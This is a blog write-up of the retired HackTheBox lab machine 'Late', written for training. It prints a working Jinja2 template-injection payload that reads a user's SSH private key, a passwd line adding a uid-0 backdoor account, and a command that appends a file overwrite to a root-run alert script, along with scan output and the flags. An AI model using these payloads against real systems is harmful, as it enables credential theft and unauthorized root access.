HTB: Late
Posted on 22 Aug 2022 in security • 3 min read
This article is a writeup about a retired HacktheBox machine: Late publish on April 23, 2022 by kavigihan. This box is rated as an easy machine. It implies an OCR function, a SSTI and a SUID binary.
Foothold and user
Recon
Let us start as always by a nmap
scan. Only port 80 (HTTP) and 22 (SSH) are open.
# Nmap 7.92 scan initiated Sun Jun 12 08:22:12 2022 as: nmap -sSV -oN notes.md 10.129.72.242
Nmap scan report for 10.129.72.242
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmp.org/submit/ .
# Nmap done at Sun Jun 12 08:22:19 2022 -- 1 IP address (1 host up) scanned in 7.13 seconds
Port 80 was a web application containing a link to a subdomain
http://images.late.htb/
. This application allowed to perform OCR on images.
We test a few example and realize that we are facing SSTI.
We upload an image containing the basic SSTI identification:
The application resolved the second operation.
<p>${8*8} aa 49
</p>
Following PortSwigger graph I uploaded a new image.
The application resolved 7*'7'
as 7777777
. Therefore the application was using Jinja2.
A blog post described Jinja injection.
I verified that popen
is available:
Then by dichotomy I founded the popen
index.
Popen
was the subprocess with index 249.
<p>[<class 'zipfile.ZipFile'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
</p>
I ran ls
to proved that I had RCE.
<p>(b'main.py\nmisc\n__pycache__\nstatic\ntemplates\nuploads\nwsgi.py\n', None)
</p>
I ran id
to get an idea of which user was running the application. The user id
was 1000 meaning that this
was probably a standard human user.
<p>(b'uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)\n', None)
After a few trials, I found a payload that allowed to retrieve id_rsa
from the user.
{{''.__class__.__mro__[1].__subclasses__()[249](['cat','/home/svc_acc/.ssh/id_rsa'],stdout=-1).communicate()}}
I connected to the box using SSH and grabbed the user flag.
└─$ ssh svc_acc@10.129.72.242 -i id_rsa
svc_acc@late:~$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
svc_acc@late:~$ cat user.txt
17295259a78e40790974b3ac7d2d0a8f
Root
I ran linpeas and found that there was a user writable file in /usr/local/sbin
, a folder where binary are run as root.
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
I copied /etc/passwd
and added a new line containing a root user (id=0
) with the password pass123
:
toto2:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
Then I modified the /usr/local/sbin/ssh-alert.sh
file to copy the modified passwd
file in etc
:
echo 'cp /home/svc_acc/passwd /etc/passwd' >>/usr/local/sbin/ssh-alert.sh
Then I connect to ssh with our svc_acc
user and switch user to toto2
and grabbed the flag.
svc_acc@late:~$ su toto2
root@late:/home/svc_acc# id
uid=0(root) gid=0(root) groups=0(root)
root@late:/home/svc_acc# cd
root@late:~# cat root.txt
365276e9d7ba2bb0c907fe9ee608164a
Wrapping up
A nice box exploiting SSTI and a SUID binary. The fact that the SSTI was in an image was fun but tedious as sometime the OCR was not perfect and submitting the same image another time did not give the same result.